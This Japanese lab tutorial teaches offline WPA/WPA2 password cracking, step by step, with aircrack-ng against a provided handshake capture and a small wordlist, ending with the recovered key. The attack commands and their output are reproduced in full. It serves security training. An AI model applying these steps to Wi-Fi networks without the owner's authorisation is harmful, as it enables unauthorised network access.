はじめに
この実験では、WPA/WPA2 ハンドシェイクに対する辞書攻撃を実行する方法を学びます。デバイスが WPA/WPA2 で保護された Wi-Fi ネットワークに接続すると、デバイスを認証するために 4 ウェイハンドシェイクが発生します。このハンドシェイクをキャプチャすることで、ネットワークのパスワードをオフラインでクラックしようとすることが可能です。
辞書攻撃とは、パスワードで保護されたシステムに侵入する方法で、リスト(辞書または単語リストと呼ばれる)内のすべての単語を体系的にパスワードとして入力します。この攻撃を実行するために、Wi-Fi セキュリティ監査のための強力なツールである aircrack-ng を使用します。実際のシナリオをシミュレートするために、キャプチャされたハンドシェイクファイル(.cap)と単語リストが提供されます。
この実験の終わりまでに、キャプチャされたハンドシェイクファイルから Wi-Fi パスワードを見つけるために aircrack-ng を使用できるようになります。
キャプチャされたハンドシェイク .cap ファイルの特定
このステップでは、事前にキャプチャされた WPA ハンドシェイクファイルを見つけます。この実験では、wpa_handshake.cap という名前のサンプルキャプチャファイルが ~/project ディレクトリに配置されています。このファイルには、攻撃に必要な不可欠な 4 ウェイハンドシェイクを含むネットワークトラフィックが含まれています。
まず、現在のディレクトリ内のファイルを一覧表示して、キャプチャファイルが存在することを確認しましょう。ls -l コマンドを使用します。
ls -l
出力には、他のファイルとともに wpa_handshake.cap ファイルが表示されるはずです。
total 8
-rw-r--r-- 1 labex labex 11 Mar 25 10:00 rockyou.txt
-rw-r--r-- 1 labex labex 985 Mar 25 10:00 wpa_handshake.cap
これでキャプチャファイルの存在を確認できたので、次のステップに進むことができます。
rockyou.txt のような単語リストファイルの検索
このステップでは、単語リストファイルを見つけて検査します。辞書または単語リストは、潜在的なパスワードのリストを 1 行に 1 つずつ含む単純なテキストファイルです。aircrack-ng はこのリストを使用して、キャプチャされたハンドシェイクに対して各パスワードをテストします。
rockyou.txt という名前の小さな単語リストが、~/project ディレクトリに作成されています。cat コマンドを使用して、その内容を表示しましょう。
cat rockyou.txt
出力には、ファイルに含まれる潜在的なパスワードが表示されます。
password
12345678
biscotte
qwerty
実際のシナリオでは、単語リストは巨大になり、数百万または数十億のパスワードを含むことがあります。この実験では、私たちの小さなリストに正しいパスワードが含まれているため、攻撃はすぐに成功します。
.cap ファイルを使用した aircrack-ng コマンドの構築
このステップでは、aircrack-ng を使用してキャプチャファイルを検査します。攻撃を開始する前に、.cap ファイルに有効な WPA ハンドシェイクが含まれているかを確認することは良い習慣です。aircrack-ng はこれを実行できます。
aircrack-ng を実行し、キャプチャファイル wpa_handshake.cap を引数として指定します。
aircrack-ng wpa_handshake.cap
aircrack-ng はファイルを分析し、検出されたネットワークに関する情報を表示します。
Opening wpa_handshake.cap
Read 13 packets.
## BSSID ESSID Encryption
1 00:14:6C:7E:40:80 teddy WPA (1 handshake)
Choosing first network as target.
Opening wpa_handshake.cap
Please specify a dictionary (option -w).
WPA (1 handshake) という行に注意してください。これは、「teddy」ネットワークの完全な WPA ハンドシェイクが正常にキャプチャされ、ファイルに存在することを確認します。これは、辞書攻撃に進むために必要な確認です。また、ツールは辞書を指定するように促しますが、これは次のステップで行います。
-w パラメータを使用した単語リストの指定
このステップでは、-w パラメータを使用して攻撃用の単語リストを指定する方法を学びます。このパラメータは、aircrack-ng に潜在的なパスワードの辞書として使用するファイルを指示します。
完全なコマンド構文は aircrack-ng <capture_file> -w <wordlist_file> です。
仕組みを理解するために、まず存在しない単語リストでコマンドを実行してみましょう。これにより、aircrack-ng がエラーをどのように処理するかを確認できます。nonexistent.txt を単語リストとして使用してコマンドを実行してみてください。
aircrack-ng wpa_handshake.cap -w nonexistent.txt
ファイルが見つからないため、エラーメッセージが表示されます。
Opening wpa_handshake.cap
Read 13 packets.
## BSSID ESSID Encryption
1 00:14:6C:7E:40:80 teddy WPA (1 handshake)
Choosing first network as target.
Opening wpa_handshake.cap
The file 'nonexistent.txt' doesn't exist.
Please specify a dictionary (option -w).
これにより、aircrack-ng が -w パラメータに有効で存在するファイルを必要とすることが確認されます。次のステップでは、正しい単語リストファイルを使用して攻撃を実行します。
攻撃の実行と「KEY FOUND」出力の分析
このステップでは、正しい単語リストを使用して完全な辞書攻撃を実行し、出力を分析してキーを見つけます。キャプチャファイルと単語リストを指定する方法がわかったので、攻撃を開始できます。
aircrack-ng コマンドを実行し、キャプチャファイルとして wpa_handshake.cap を、単語リストとして rockyou.txt を指定します。
aircrack-ng wpa_handshake.cap -w rockyou.txt
aircrack-ng が開始されます。ハンドシェイクに対して rockyou.txt からの各パスワードをテストします。単語リストは小さく、正しいパスワードが含まれているため、プロセスは非常に高速です。
Opening wpa_handshake.cap
Read 13 packets.
## BSSID ESSID Encryption
1 00:14:6C:7E:40:80 teddy WPA (1 handshake)
Choosing first network as target.
Opening wpa_handshake.cap
[00:00:00] 3 keys tested (23.08 k/s)
KEY FOUND! [ biscotte ]
Master Key : ED A5 79 22 E5 5F 56 64 74 CB 89 98 44 6A 18 25
E0 E3 44 86 8A F3 89 84 55 4A D3 94 03 19 28 79
Transient Key : 6A 84 A9 58 52 2E 61 30 62 50 2B 88 46 1B 2A 8A
...
EAPOL HMAC : 4E 1A E7 74 52 86 C5 29 A3 43 54 B2 1B 2D 34 18
出力の中で最も重要な行は KEY FOUND! [ biscotte ] です。これは、攻撃が成功したことを示しています。aircrack-ng は単語リストからパスワードをテストし、「teddy」ネットワークの正しいパスワードが biscotte であることを見つけました。
まとめ
この実験では、aircrack-ng を使用して WPA ハンドシェイクに対する辞書攻撃を正常に実行しました。
以下の方法を学びました。
- キャプチャファイル(
.cap)と単語リストを見つけて特定する方法。 aircrack-ngを使用してキャプチャファイルを検査し、WPA ハンドシェイクの存在を確認する方法。- 攻撃用の単語リストを指定するために
-wパラメータを使用する方法。 - 辞書攻撃を実行し、結果を解釈してネットワークキーを見つける方法。
この演習は、Wi-Fi セキュリティ監査における基本的な技術を示しており、辞書攻撃で容易に推測されない、強力で複雑なパスワードを使用することの重要性を強調しています。
